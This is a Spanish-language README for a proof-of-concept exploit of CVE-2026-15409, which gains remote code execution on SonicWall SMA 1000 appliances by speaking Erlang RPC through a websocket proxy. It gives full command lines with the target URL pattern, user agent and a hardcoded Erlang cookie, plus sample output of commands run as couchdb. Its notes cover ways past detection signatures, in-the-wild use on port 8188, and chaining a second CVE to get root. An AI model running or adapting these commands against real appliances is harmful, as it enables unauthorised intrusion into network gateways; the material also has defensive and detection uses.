CVE-2026-15409
Este repositorio contiene un exploit de prueba de concepto para CVE-2026-15409. Establece ejecución remota de código sin privilegios de root en SonicWall SMA 1000 implementando el protocolo Erlang esperado por localhost:1050 y canalizándolo a través del websocket para lectura/escritura de archivos y ejecución arbitraria de código mediante llamadas RPC.
Uso
# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --exec 'whoami && id && pwd && hostname'
Authenticated to [email protected]
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
Notas sobre explotación y detección
- Este exploit apunta al servicio WorkPlace (normalmente a la escucha en el puerto 443), que probablemente esté habilitado casi todo el tiempo (requiere configurar un método de autenticación de usuario como AD básico)
- Desarrollado contra ex_sra_vm_12.5.0-02002.ova con el hotfix de junio de 2026 aplicado (el más reciente anterior al parche)
- Ejemplo: python3 cve-2026-15409.py --ws-url 'wss://TARGET_IP_HERE/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'touch /var/tmp/remote_code_execution'
- La cookie de nodo Erlang utilizada para la explotación debería ser consistente entre objetivos; está hardcodeada para el proceso Erlang en localhost:1050, según las pruebas realizadas
- Los valores arbitrarios de bmID deberían funcionar en general siempre que el valor comience con "-3389". No escribas firmas contra "serviceType=SSH", ya que hay alternativas como TELNET que también funcionan. 0.0.0.0 también puede sustituirse por formatos de dirección alternativos
- El puerto 1050 es una técnica de explotación, no un requisito hardcodeado para la explotación. Se observó explotación en entornos reales (EITW) dirigida también al puerto 8188, aunque parece más sencillo usar simplemente el 1050. Puede haber otros servicios en diferentes puertos que también puedan ser explotados. La ejecución de código en entornos reales probablemente ocurra en contextos de usuario distintos a couchdb, debido a la variación en las técnicas utilizadas
- El atacante puede escalar privilegios a root con el exploit de traversal XMLRPC de "remove hotfix" CVE-2026-15410 (dirigido a localhost:8188) una vez que se establece una shell